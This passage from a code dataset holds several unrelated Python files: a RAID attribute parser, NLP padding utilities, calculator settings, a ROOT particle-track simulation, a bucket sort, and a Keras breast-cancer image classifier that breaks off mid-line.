current_value,\n pending_value, read_only)\n self.lower_bound = lower_bound\n self.upper_bound = upper_bound\n\n @classmethod\n def parse(cls, raid_attr_xml):\n \"\"\"Parses XML and creates RAIDIntegerAttribute object\"\"\"\n\n raid_attr = RAIDAttribute.parse(cls.namespace, raid_attr_xml)\n lower_bound = utils.get_wsman_resource_attr(\n raid_attr_xml, cls.namespace, 'LowerBound')\n upper_bound = utils.get_wsman_resource_attr(\n raid_attr_xml, cls.namespace, 'UpperBound')\n\n if raid_attr.current_value:\n raid_attr.current_value = int(raid_attr.current_value)\n if raid_attr.pending_value:\n raid_attr.pending_value = int(raid_attr.pending_value)\n\n return cls(raid_attr.name, raid_attr.instance_id,\n raid_attr.current_value, raid_attr.pending_value,\n raid_attr.read_only, int(lower_bound), int(upper_bound))\n\n def validate(self, new_value):\n \"\"\"Validates new value\"\"\"\n\n val = int(new_value)\n if val < self.lower_bound or val > self.upper_bound:\n msg = ('Attribute %(attr)s cannot be set to value %(val)d.'\n ' It must be between %(lower)d and %(upper)d.') % {\n 'attr': self.name,\n 'val': new_value,\n 'lower': self.lower_bound,\n 'upper': self.upper_bound}\n return msg\n","sub_path":"dracclient/resources/raid.py","file_name":"raid.py","file_ext":"py","file_size_in_byte":32738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"420834861","text":"from collections import defaultdict\n\nfrom nltk.corpus import words\nimport pandas as pd\n#from spellchecker import SpellChecker\nfrom nltk.tokenize import sent_tokenize, word_tokenize, RegexpTokenizer\nimport os\n\n#from symspellpy.symspellpy import SymSpell\nfrom spacy.lang.en import English\nimport spacy\nimport numpy as np\nfrom keras_preprocessing.sequence import pad_sequences\n\ndef convert_to_string(token):\n if type(token) == str:\n return token\n return str(token.text)\n\ndef check_spelling(words_in_text, spellchecker):\n word_list = []\n misspelled_words = spellchecker.unknown(words_in_text)\n for word in words_in_text:\n if word.lower() in misspelled_words:\n word_list.append(word)\n return word_list\n\ndef load_genres(file_path):\n current_genres_df = pd.read_excel(file_path)\n genres = current_genres_df[\"Genre\"].tolist()\n return genres\n\ndef is_all_lowercase(value):\n lowercase = [c for c in value if c.islower()]\n if len(value) == len(lowercase):\n return True\n else:\n return False\n\ndef get_dimensions(array, level=0):\n yield level, len(array)\n try:\n for row in array:\n yield from get_dimensions(row, level + 1)\n except TypeError: #not an iterable\n pass\n\ndef get_max_shape_2(array):\n sent_lengths = set()\n word_lengths = set()\n\n for element in array:\n sent_lengths.add(len(element))\n for elem in element:\n word_lengths.add(len(elem))\n\n return (len(array), max(sent_lengths), max(word_lengths))\n\ndef get_max_shape(array):\n dimensions = defaultdict(int)\n for level, length in get_dimensions(array):\n dimensions[level] = max(dimensions[level], length)\n return [value for _, value in sorted(dimensions.items())]\n\n\ndef iterate_nested_array(array, index=()):\n try:\n for idx, row in enumerate(array):\n yield from iterate_nested_array(row, (*index, idx))\n except TypeError: # final level\n yield (*index, slice(len(array))), array\n\ndef get_sentences(text):\n sentences = sent_tokenize(text)\n return sentences\n\ndef pad_nested_sequences(array, fill_value=0.0):\n dimensions = get_max_shape(array)\n result = np.full(dimensions, fill_value)\n for index, value in iterate_nested_array(array):\n result[index] = value\n return result\n\ndef pad_list_of_lists(array, fill_value=0.0, shape=()):\n result = np.full(shape, fill_value)\n for index, value in enumerate(array):\n if index == shape[0]:\n break\n for idx, row in enumerate(value):\n #result[index: len(value)] = value\n result[index, idx, :len(row) if len(row) <= shape[1] else shape[1]] = row[:shape[1]]\n\n return result\n\n\ndef load_data(filepath, rows=None):\n return pd.read_csv(filepath, nrows=rows)\n\n","sub_path":"common/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"560932812","text":"# main window settings \n\ntheme = \"dark\" #\"light\",\"solarised\",\"boring\",\"spicy\",any other hex (e.g Try this #236413)\nbutton_theme = \"dark\" # You can use the same theme name as above, or hex code or\n # can use the following names \"obscidian\",\"satan\",\"decent\",\"colourful\"\n \n\n\n\n# main window dimension ##!! DO NOT EDIT THIS BIT\n\nwidth = 430\nheight = 450 \n\n#button height and width ## !! DO NOT EDIT THIS BIT \n \nbtnwidth = 100 \nbtnheight = 40\n\n# Display settings \n\ndisplay_margin = \"10\" # change it and see the difference in the display input \ndisplay_font_size = \"17px\" \ndisplay_background = \"\" # any hex code \ndisplay_foreground = \"white\" # use any hex code or straight color names like blue,yellow etc.\ndisplay_corner_radius = \"0px\" #\n\ndisplay_border = \"0px \" # If border is not desired change it to something like \"0px\"\n # change the color by changing the text 'black'\n # there are two types of borders dashed and solid \n # e.g \"10px dashed blue\" \n \ndisplay_padding = \"0\" \ndisplay_height = 80 # !! DO NOT EDIT THIS BIT \ndisplay_font_family = \"ubuntu\"\n\nmplus_prompt = False\nmminus_prompt = True\n\nsplashPrompt = True\t\t\t\t\t\t# Set this to False to disable the splash screen at startup \n","sub_path":"Classicalc/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"277002433","text":"import ROOT as root\nimport random\nimport multilines as ML\nfrom utility import geometrycheck as gcheck\nfrom math import pi, tan\n\nroot.gROOT.ProcessLine(\n\"struct DataStruct{\\\n vector<double>* dirx;\\\n vector<double>* diry;\\\n vector<double>* dirz;\\\n vector<double>* pointx;\\\n vector<double>* pointy;\\\n vector<double>* pointz;\\\n vector<double>* breakpointx;\\\n vector<double>* breakpointy;\\\n vector<double>* bpangle;\\\n vector<double>* radius;\\\n vector<double>* wirex;\\\n vector<double>* wirey;\\\n vector<double>* wirez;\\\n vector<int>* grid_id;\\\n vector<int>* grid_side;\\\n vector<int>* grid_layer;\\\n vector<int>* grid_column;\\\n vector<int>* break_layer;\\\n vector<int>* charge;\\\n vector<int>* calo_id;\\\n vector<int>* calo_type;\\\n vector<int>* calo_side;\\\n vector<int>* calo_wall;\\\n vector<int>* calo_column;\\\n vector<int>* calo_row;\\\n};\");\n\nNsims = 6000 # Number of simulated lines\n\n# Set up ROOT data structures for file output and storage\nfile = root.TFile(\"/tmp/lr_withbounce.tsim\",\"recreate\")\ntree = root.TTree(\"hit_tree\",\"Hit data\")\ntree.SetDirectory(file)\n\ndataStruct = root.DataStruct()\ndataStruct.dirx = root.std.vector('double')()\ndataStruct.diry = root.std.vector('double')()\ndataStruct.dirz = root.std.vector('double')()\ndataStruct.pointx = root.std.vector('double')()\ndataStruct.pointy = root.std.vector('double')()\ndataStruct.pointz = root.std.vector('double')()\ndataStruct.bpointx = root.std.vector('double')()\ndataStruct.bpointy = root.std.vector('double')()\ndataStruct.bangle = root.std.vector('double')()\ndataStruct.radius = root.std.vector('double')()\ndataStruct.wirex = root.std.vector('double')()\ndataStruct.wirey = root.std.vector('double')()\ndataStruct.wirez = root.std.vector('double')()\ndataStruct.gridid = root.std.vector('int')()\ndataStruct.gridside = root.std.vector('int')()\ndataStruct.gridlayer = root.std.vector('int')()\ndataStruct.gridcolumn = root.std.vector('int')()\ndataStruct.breaklayer = root.std.vector('int')()\ndataStruct.charge = root.std.vector('int')()\ndataStruct.caloid = root.std.vector('int')()\ndataStruct.calotype = root.std.vector('int')()\ndataStruct.calowall = root.std.vector('int')()\ndataStruct.caloside = root.std.vector('int')()\ndataStruct.calorow = root.std.vector('int')()\ndataStruct.calocolumn = root.std.vector('int')()\n\ntree.Branch('dirx', dataStruct.dirx)\ntree.Branch('diry', dataStruct.diry)\ntree.Branch('dirz', dataStruct.dirz)\ntree.Branch('pointx', dataStruct.pointx)\ntree.Branch('pointy', dataStruct.pointy)\ntree.Branch('pointz', dataStruct.pointz)\ntree.Branch('breakpointx', dataStruct.bpointx)\ntree.Branch('breakpointy', dataStruct.bpointy)\ntree.Branch('bpangle', dataStruct.bangle)\ntree.Branch('radius', dataStruct.radius)\ntree.Branch('wirex', dataStruct.wirex)\ntree.Branch('wirey', dataStruct.wirey)\ntree.Branch('wirez', dataStruct.wirez)\ntree.Branch('grid_id', dataStruct.gridid)\ntree.Branch('grid_side', dataStruct.gridside)\ntree.Branch('grid_layer', dataStruct.gridlayer)\ntree.Branch('grid_column', dataStruct.gridcolumn)\ntree.Branch('break_layer', dataStruct.breaklayer)\ntree.Branch('charge', dataStruct.charge)\ntree.Branch('calo_id', dataStruct.caloid)\ntree.Branch('calo_type', dataStruct.calotype)\ntree.Branch('calo_side', dataStruct.caloside)\ntree.Branch('calo_wall', dataStruct.calowall)\ntree.Branch('calo_row', dataStruct.calorow)\ntree.Branch('calo_column', dataStruct.calocolumn)\n\nwgr = ML.demonstratorgrid()\ntgen = ML.track_generator()\ndcalo = gcheck.demonstratorcalo()\n\nfor i in range(Nsims):\n lrtracker = random.randint(0,1) # pick left or right\n intercepty = random.uniform(-2000.0,2000.0) # limit from demonstrator y-axis\n dummycluster = { }\n while len(dummycluster) < 1:\n tgen.double_random_atvertex(intercepty) # vertex on foil at x=0, y=0, z=0\n both = tgen.getLines()\n lines = []\n\n # enable one line on the left\n lines.append((both[0],0))\n\n # second line on the right\n lines.append((both[1],1))\n\n # all hits related truth data in cluster\n dummycluster = dcalo.multi_calohits(lines)\n\n ci, point = dummycluster[dummycluster.keys()[lrtracker]] # pick side\n calo_hit_point = point[0]\n chosenLine = both[lrtracker]\n if abs(calo_hit_point.y) - 2200 > 0: # too far out the side\n lrtracker = int(not lrtracker)\n ci, point = dummycluster[dummycluster.keys()[lrtracker]] # pick other side\n calo_hit_point = point[0]\n chosenLine = both[lrtracker]\n slope = chosenLine.v.y / chosenLine.v.x\n angle = random.uniform(-pi*0.5+0.17, pi*0.5-0.17) # taking vertical out\n sl = tan(angle)\n while abs(sl-slope) < 0.5: # safe against overlap lines\n angle = random.uniform(-pi*0.5+0.17, pi*0.5-0.17) # taking vertical out\n sl = tan(angle)\n\n lines.append((tgen.single_line_manual_atplane(sl, calo_hit_point.x, calo_hit_point.y), lrtracker))\n cluster = wgr.multi_track_hits(lines)\n cluster2= dcalo.multi_calohits(lines)\n while len(cluster2) < 1: # no calo was hit, try again\n tgen.double_random_atvertex(intercepty) # vertex on foil at x=0,y=0,z=0\n both = tgen.getLines()\n lines = []\n lines.append((both[0],0))\n lines.append((both[1],1))\n dummycluster = dcalo.multi_calohits(lines)\n ci, point = dummycluster[dummycluster.keys()[lrtracker]] # pick side\n calo_hit_point = point[0]\n chosenLine = both[lrtracker]\n if abs(calo_hit_point.y) - 2200 > 0: # too far out the side\n lrtracker = int(not lrtracker)\n ci, point = dummycluster[dummycluster.keys()[lrtracker]] # pick other side\n calo_hit_point = point[0]\n chosenLine = both[lrtracker]\n slope = chosenLine.v.y / chosenLine.v.x\n angle = random.uniform(-pi*0.5+0.17, pi*0.5-0.17) # taking vertical out\n sl = tan(angle)\n while abs(sl-slope) < 0.5: # safe against overlap lines\n angle = random.uniform(-pi*0.5+0.17, pi*0.5-0.17) # taking vertical out\n sl = tan(angle)\n lines.append((tgen.single_line_manual_atplane(sl, calo_hit_point.x, calo_hit_point.y), lrtracker))\n cluster = wgr.multi_track_hits(lines)\n cluster2= dcalo.multi_calohits(lines)\n \n file.cd()\n # Prepare data structure for this line\n dataStruct.dirx.clear()\n dataStruct.diry.clear()\n dataStruct.dirz.clear()\n dataStruct.pointx.clear()\n dataStruct.pointy.clear()\n dataStruct.pointz.clear()\n dataStruct.bpointx.clear()\n dataStruct.bpointy.clear()\n dataStruct.bangle.clear()\n dataStruct.radius.clear()\n dataStruct.wirex.clear()\n dataStruct.wirey.clear()\n dataStruct.wirez.clear()\n dataStruct.gridid.clear()\n dataStruct.gridside.clear()\n dataStruct.gridlayer.clear() \n dataStruct.gridcolumn.clear()\n dataStruct.breaklayer.clear()\n dataStruct.charge.clear()\n dataStruct.caloid.clear()\n dataStruct.calotype.clear()\n dataStruct.caloside.clear()\n dataStruct.calowall.clear()\n dataStruct.calorow.clear() \n dataStruct.calocolumn.clear()\n\n counter = 0\n for k,val in cluster.iteritems():\n line = lines[k-1][0] # line3 object\n cells = val[0] # first list in cluster tuple \n radii = val[1] # as list\n info = val[2] # as list\n \n dataStruct.dirx.push_back(line.v.x)\n dataStruct.diry.push_back(line.v.y)\n dataStruct.dirz.push_back(line.v.z)\n #dataStruct.pointx.push_back(line.p.x)\n #dataStruct.pointy.push_back(line.p.y)\n #dataStruct.pointz.push_back(line.p.z)\n dataStruct.charge.push_back(0)\n\n ci, point = cluster2[k]\n calo_hit_point = point[0]\n type = ci[0][1]\n for w,r,mi in zip(cells,radii,info):\n if type == 1 and abs(w[1]) > abs(calo_hit_point.y): \n continue # dismiss geiger hits outside xwall\n if type == 2 and abs(w[2]) > abs(calo_hit_point.z): \n continue # dismiss geiger hits outside gveto\n dataStruct.radius.push_back(r)\n dataStruct.wirex.push_back(w[0])\n dataStruct.wirey.push_back(w[1])\n dataStruct.wirez.push_back(w[2])\n dataStruct.gridid.push_back(counter)\n gside = mi[0] # wire side\n grow = mi[1] # wire column\n gcol = mi[2] # wire layer\n dataStruct.gridlayer.push_back(grow)\n dataStruct.gridcolumn.push_back(gcol)\n dataStruct.gridside.push_back(gside) # not covered yet \n counter += 1 # count up all hits for entire event\n for k,val in cluster2.iteritems():\n ci, point = val\n type = ci[0][1]\n side = ci[0][3]\n col = ci[0][4]\n row = ci[0][5]\n wall = ci[0][6]\n dataStruct.caloid.push_back(k-1)\n dataStruct.calorow.push_back(row)\n dataStruct.calocolumn.push_back(col)\n dataStruct.calotype.push_back(type)\n dataStruct.caloside.push_back(side)\n dataStruct.calowall.push_back(wall)\n dataStruct.pointx.push_back(point[0].x)\n dataStruct.pointy.push_back(point[0].y)\n dataStruct.pointz.push_back(point[0].z)\n \n\n tree.Fill() # data structure fully filled, lines done\n \ntree.Write() # write all lines to disk\nfile.Close()\n","sub_path":"toyLRwithbounce.py","file_name":"toyLRwithbounce.py","file_ext":"py","file_size_in_byte":9311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"466702430","text":"# 排序0-10的整数\n\nbook = [0] * 10 # 10个桶 初始化为0\nprint(book)\n\nprint('输入5个整数(0-10)以回车分隔:')\n\nfor i in range(5): # 循环输入数据\n a = int(input())\n book[a] += 1 # 编号为t的桶中的旗子+1\nprint(book)\n\nfor i in range(len(book)): # 遍历所有的桶\n if book[i] > 0: # 如果桶中的旗子不为0\n for j in range(book[i]): # 将桶的编号打印,打印的次数为桶中的旗子数\n print(i)\n","sub_path":"《Aha!Alogrithms》/第01章-排序/1-桶排序/Python-桶排序A.py","file_name":"Python-桶排序A.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"94346758","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 27 22:31:36 2019\n\nBreast Cancer Classification\nDeep Learning\n\n@author: Aline Barbosa Alves\n\"\"\"\n\n# Import packages and set the seed\nfrom imutils import paths\nimport random, shutil, os\nrandom.seed(123)\nimport matplotlib\nmatplotlib.use('Agg')\nimport pandas as pd\nimport tensorflow as tf\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint, ReduceLROnPlateau\nfrom keras.optimizers import Adagrad\nfrom keras.utils import np_utils\nfrom sklearn.metrics import classification_report, confusion_matrix\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.layers.convolutional import SeparableConv2D, MaxPooling2D\nfrom keras.layers.core import Activation, Flatten, Dropout, Dense\nfrom keras import backend as K\nfrom keras.wrappers.scikit_learn import KerasClassifier\nfrom sklearn.model_selection import GridSearchCV\n\nos.getcwd()\n\n\"\"\"Input data\"\"\"\n# Input data\ninput_dataset = \"Documentos/Ubiqum/Final Project/BreastCancerClassification/data/IDC_regular_ps50_idx5\"\nbase_path = \"Documentos/Ubiqum/Final Project/BreastCancerClassification/data\"\ntrain_path = os.path.sep.join([base_path, \"training\"])\nval_path = os.path.sep.join([base_path, \"validation\"])\ntest_path = os.path.sep.join([base_path, \"testing\"])\ntrain_split = 0.8\nval_split = 0.2\n\noriginalPaths = list(paths.list_images(input_dataset))\nrandom.shuffle(originalPaths)\nindex_train = int(len(originalPaths)*train_split)\ntrainPaths = originalPaths[:index_train]\ntestPaths = originalPaths[index_train:]\nindex_val = int(len(trainPaths)*val_split)\nvalPaths = trainPaths[:index_val]\ntrainPaths = trainPaths[index_val:]\ndatasets = [(\"training\", trainPaths, train_path), # 127309 / 50307 - 2.5306\n (\"validation\", valPaths, val_path), # 31707 / 12696 - 2.4974\n (\"testing\", testPaths, test_path)] # 39722 / 15783 - 2.5168\n\n\"\"\"Prepare data\"\"\"\n# Build data sets (Run once!)\nfor (setType, originalPaths, basePath) in datasets:\n print(f'Building {setType} set')\n if not os.path.exists(basePath):\n print(f'Building directory {basePath}')\n os.makedirs(basePath)\n for path in originalPaths:\n # Pick name of the image file\n image = path.split(os.path.sep)[-1]\n # Pick the class of the image\n class_image = image[-5:-4]\n classPath = os.path.sep.join([basePath, class_image])\n if not os.path.exists(classPath):\n print(f'Building directory {classPath}')\n os.makedirs(classPath)\n newPath = os.path.sep.join([classPath, image])\n shutil.copy2(path, newPath)\n\n# Create data with list of paths\ntrainPaths = list(paths.list_images(train_path))\nlenTrain = len(trainPaths)\nvalPaths = list(paths.list_images(val_path))\nlenVal = len(valPaths)\ntestPaths = list(paths.list_images(test_path))\nlenTest = len(testPaths)\n\ntrainClass = [int(p.split(os.path.sep)[-2]) for p in trainPaths]\ntrainClass = np_utils.to_categorical(trainClass)\nclassTotals = trainClass.sum(axis=0)\nclassWeight = classTotals.max() / classTotals\n\n# Create reduced data sets to create a model\ntrain_reduced = os.path.sep.join([base_path, \"training_reduced\"])\nval_reduced = os.path.sep.join([base_path, \"validation_reduced\"])\nreduced_split = 0.01\n\nrandom.shuffle(trainPaths)\nindex_train_reduced = int(len(trainPaths)*reduced_split)\ntrainReduced = trainPaths[:index_train_reduced]\nrandom.shuffle(valPaths)\nindex_val_reduced = int(len(valPaths)*reduced_split)\nvalReduced = valPaths[:index_val_reduced]\ndatasets_reduced = [(\"training_reduced\", trainReduced, train_reduced),\n (\"validation_reduced\", valReduced, val_reduced)]\n\nfor (setType, trainPaths, basePath) in datasets_reduced:\n print(f'Building {setType} set')\n if not os.path.exists(basePath):\n print(f'Building directory {basePath}')\n os.makedirs(basePath)\n for path in trainReduced:\n # Pick name of the image file\n image = path.split(os.path.sep)[-1]\n # Pick the class of the image\n class_image = image[-5:-4]\n classPath = os.path.sep.join([train_reduced, class_image])\n if not os.path.exists(classPath):\n print(f'Building directory {classPath}')\n os.makedirs(classPath)\n newPath = os.path.sep.join([classPath, image])\n shutil.copy2(path, newPath)\n\ntrainReduced = list(paths.list_images(train_reduced))\nvalReduced = list(paths.list_images(val_reduced))\n\n\"\"\"Models\"\"\" \n# Constants \nnum_epochs = 40\ninit_lr = 0.01\nbatch_size = 32\n\n# Create a function to define the model - Keras\ndef model(width,height,depth,classes):\n if K.image_data_format() != 'channels_first':\n shape = (height,width,depth)\n channelDim = -1\n else:\n shape = (depth,height,width)\n channelDim = 1\n \n model = Sequential()\n model.add(SeparableConv2D(32, (3,3), \n padding = \"same\", \n input_shape = shape))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis = channelDim))\n model.add(MaxPooling2D(pool_size = (2,2)))\n model.add(Dropout(0.25))\n \n model.add(SeparableConv2D(64, (3,3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDim))\n model.add(SeparableConv2D(64, (3,3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDim))\n model.add(MaxPooling2D(pool_size=(2,2)))\n model.add(Dropout(0.25))\n \n model.add(SeparableConv2D(128, (3,3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDim))\n model.add(SeparableConv2D(128, (3,3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDim))\n model.add(SeparableConv2D(128, (3,3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDim))\n model.add(MaxPooling2D(pool_size=(2,2)))\n model.add(Dropout(0.25))\n\n model.add(Flatten())\n model.add(Dense(256))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization())\n model.add(Dropout(0.5))\n \n model.add(Dense(classes))\n model.add(Activation(\"softmax\"))\n \n return model\n\n# Create functions to calculate metrics\ndef sensitivity(y_true, y_pred):\n true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))\n possible_positives = K.sum(K.round(K.clip(y_true, 0, 1)))\n return true_positives / (possible_positives + K.epsilon())\n\ndef specificity(y_true, y_pred):\n true_negatives = K.sum(K.round(K.clip((1-y_true) * (1-y_pred), 0, 1)))\n possible_negatives = K.sum(K.round(K.clip(1-y_true, 0, 1)))\n return true_negatives / (possible_negatives + K.epsilon())\n\ndef fmed(y_true, y_pred):\n spec = specificity(y_true, y_pred)\n sens = sensitivity(y_true, y_pred)\n fmed = 2 * (spec * sens)/(spec+sens+K.epsilon())\n return fmed\n\ndef f1(y_true, y_pred):\n true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))\n possible_positives = K.sum(K.round(K.clip(y_true, 0, 1)))\n predicted_positives = K.sum(K.round(K.clip(y_pred, 0, 1)))\n precision = true_positives / (predicted_positives + K.epsilon())\n recall = true_positives / (possible_positives + K.epsilon())\n f1_val = 2*(precision*recall)/(precision+recall+K.epsilon())\n return f1_val\n\n# Create and compile model\nmodel = model(width = 48, height = 48, depth = 3, classes = len(classTotals))\nopt = Adagrad(lr = init_lr, decay = (init_lr/num_epochs))\nmodel.compile(loss = \"binary_crossentropy\", \n optimizer = opt,\n metrics = [\"accuracy\", \n sensitivity,\n specificity,\n fmed,\n f1])\n\n# Augmentation\ntrainAug = ImageDataGenerator(\n rescale = 1/255.0,\n rotation_range = 20,\n zoom_range = 0.05,\n width_shift_range = 0.1,\n height_shift_range = 0.1,\n shear_range = 0.05,\n horizontal_flip = True,\n vertical_flip = True,\n fill_mode = \"nearest\")\n\ngenerator = ImageDataGenerator(rescale=1/255.0)\n\ntrainGen = trainAug.flow_from_directory(train_path,\n class_mode = \"categorical\",\n target_size = (48,48),\n color_mode = \"rgb\",\n shuffle = True,\n batch_size = batch_size)\n\nvalGen = generator.flow_from_directory(val_path,\n class_mode = \"categorical\",\n target_size = (48,48),\n color_mode = \"rgb\",\n shuffle = False,\n batch_size = batch_size)\n\ntestGen = generator.flow_from_directory(test_path,\n class_mode = \"categorical\",\n target_size = (48,48),\n color_mode = \"rgb\",\n shuffle = False,\n batch_size = batch_size)\n\n# Create callback\nlearn_control = ReduceLROnPlateau(monitor = \"val_sensitivity\", \n patience = 3,\n verbose = 1,\n factor = 0.2, \n min_lr = 1e-5)\n\nmodel_path = \"Documentos/Ubiqum/Final Project/BreastCancerClassification/model/model.hdf5\"\ncheckpoint = ModelCheckpoint(model_path, \n monitor = \"val_sensitivity\", \n verbose = 1, \n save_best_only = True, \n mode = \"max\")\n\nearly_stopping = EarlyStopping(monitor = \"val_sensitivity\", \n mode = \"max\", \n verbose = 1, \n patience = 5)\n\n# Fit the model\nmodel_history = model.fit_generator(\n trainGen,\n steps_per_epoch = (lenTrain/batch_size),\n validation_data = valGen,\n validation_steps = (lenVal/batch_size),\n class_weight = classWeight,\n epochs = num_epochs,\n callbacks=[early_stopping, checkpoint])#, learn_control])\n\n\npredictions = model.predict_generator(testGen, \n steps = (lenTest/batch_size))\n# Get most likely class\npredicted_classes = np.argmax(predictions, axis=1)\npredicted_classes.sum()\n\ntrue_classes = testGen.classes\nclass_labels = list(testGen.class_indices.keys())\n\nreport = classification_report(true_classes, \n predicted_classes, \n target_names = class_labels)\nprint(report)\n\nmatrix = confusion_matrix(true_classes,\n predicted_classes,\n labels = [0, 1])\nprint(matrix)\n\n# Plot history\nhistory = pd.DataFrame(model_history.history)\nhistory[['loss', 'val_loss']].plot()\nplt.savefig('Documentos/Ubiqum/Final Project/BreastCancerClassification/plots/loss.png')\n\nhistory[['accuracy', 'val_accuracy']].plot()\nplt.savefig('Documentos/Ubiqum/Final Project/BreastCancerClassification/plots/acc.png')\n\n# Tensorflow (without Keras)\nleaky_relu_alpha = 0.2\ndropout_rate = 0.5\n\ndef conv2d( inputs , filters , stride_size ):\n out = tf.nn.conv2d( inputs , \n filters , \n strides=[ 1 , stride_size , stride_size , 1 ] , \n padding='SAME') \n return tf.nn.leaky_relu( out , alpha=leaky_relu_alpha ) \n\ndef maxpool( inputs , pool_size , stride_size ):\n return tf.nn.max_pool2d( inputs , \n ksize=[ 1 , pool_size , pool_size , 1 ] , \n padding='VALID' , \n strides=[ 1 , stride_size , stride_size , 1 ] )\n\ndef dense( inputs , weights ):\n x = tf.nn.leaky_relu( tf.matmul( inputs , weights ) , \n alpha=leaky_relu_alpha )\n return tf.nn.dropout( x , rate=dropout_rate )\n\n\ninitializer = tf.initializers.glorot_uniform()\ndef get_weight( shape , name ):\n return tf.Variable( initializer( shape ) , \n name=name , \n trainable=True , \n dtype=tf.float32 )\n\nshapes = [\n [ 50 , 50 , 3 , 3 ] , \n [ 50 , 50 , 3 , 3 ] , \n [ 1875 , 32 ] , \n [ 32 , 2 ] \n]\n\nweights = []\nfor i in range( len( shapes ) ):\n weights.append( get_weight( shapes[ i ] , 'weight{}'.format( i ) ) )\n \ndef model_tf( x ) :\n x = tf.cast( x , dtype=tf.float32 )\n c1 = conv2d( x , weights[ 0 ] , stride_size=1 ) \n c1 = conv2d( c1 , weights[ 1 ] , stride_size=1 ) \n p1 = maxpool( c1 , pool_size=2 , stride_size=2 )\n \n flatten = tf.reshape( p1 , shape=( tf.shape( p1 )[0] , -1 ))\n\n d1 = dense( flatten , weights[ 2 ] )\n logits = tf.matmul( d1 , weights[ 3 ] )\n\n return tf.nn.softmax( logits )\n\ndef loss_tf( pred , target ):\n return tf.losses.categorical_crossentropy( target , pred )\n\noptimizer = tf.optimizers.Adam(init_lr)\n\ndef train_step( model, inputs , outputs ):\n with tf.GradientTape() as tape:\n current_loss = loss_tf(model(inputs), outputs)\n grads = tape.gradient( current_loss , weights )\n optimizer.apply_gradients( zip( grads , weights ) )\n print( tf.reduce_mean( current_loss ) )\n \nfor features in trainGen:\n image , label = features[0] , features[1]\n train_step( model_tf , image , label)\n\n\"\"\"Hyperparameters\"\"\"\n# Model to tune - No parameters\ndef model_tune(learn_rate):\n model = Sequential()\n model.add(SeparableConv2D(32, (3,3), \n padding = \"same\", \n input_shape = (48, 48, 3)))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis = -1))\n model.add(MaxPooling2D(pool_size = (2,2)))\n model.add(Dropout(0.25))\n \n model.add(SeparableConv2D(64, (3,3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis= -1))\n model.add(SeparableConv2D(64, (3,3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis= -1))\n model.add(MaxPooling2D(pool_size=(2,2)))\n model.add(Dropout(0.25))\n \n model.add(SeparableConv2D(128, (3,3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis= -1))\n model.add(SeparableConv2D(128, (3,3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis= -1))\n model.add(SeparableConv2D(128, (3,3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis= -1))\n model.add(MaxPooling2D(pool_size=(2,2)))\n model.add(Dropout(0.25))\n \n model.add(Flatten())\n model.add(Dense(256))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization())\n model.add(Dropout(0.5))\n \n model.add(Dense(2))\n model.add(Activation(\"softmax\"))\n\n opt = Adagrad(lr = learn_rate)\n\n model.compile(loss = \"binary_crossentropy\", \n # optimizer = \"adam\",\n optimizer = opt,\n metrics = [\"accuracy\"])\n\n return model\n\n# Grid Search to tune hyperparameters\nmodel_grid = KerasClassifier(build_fn = model_tune, batch_size=32, verbose = 0)\nepochs = [20, 30, 40, 50, 60]\nbatch = [16, 32, 48, 60, 72]\nlearn_rate = [0.0001, 0.001]#, 0.01, 0.1]\nparam_grid = dict(learn_rate = learn_rate) #batch_size = batch, epochs = epochs) \ngrid = GridSearchCV(estimator = model_grid, \n param_grid = param_grid, \n n_jobs = 1, \n cv = 3)\n\ntrainGenNoBatch = generator.flow_from_directory(train_reduced,\n class_mode = \"categorical\",\n target_size = (48,48),\n color_mode = \"rgb\",\n shuffle = True,\n batch_size = 32)\n\n#------------------------------------------------------------------------------\nlen(trainGenNoBatch[0])\n\ntrainGenNoBatch.dtype\ntrainGenNoBatch(1)\ntrainGenNoBatch # 1776 - Number of batchs\ntrainGenNoBatch[0] # 2 - Image / Label\ntrainGenNoBatch[0][0] # 1 - Batch size\ntrainGenNoBatch[0][0][0] # 50 - Pixels\ntrainGenNoBatch[0][0][0][0] # 50 - Pixels\ntrainGenNoBatch[0][0][0][0][0] # 3 - Channels\n\ntrainGenNoBatch[500]\n\nt = trainGenNoBatch._get_batches_of_transformed_samples\n#------------------------------------------------------------------------------\n\nimages = []\nlabels = []\nc = 0\nfor i, o in trainGenNoBatch:\n if c < 3:#1776:\n images.append(i[0])\n labels.append(o[0])\n c = c + 1\n else:\n break\n \nlen(images[0])\n\nimages = np.array(images)\n\ngrid_result = 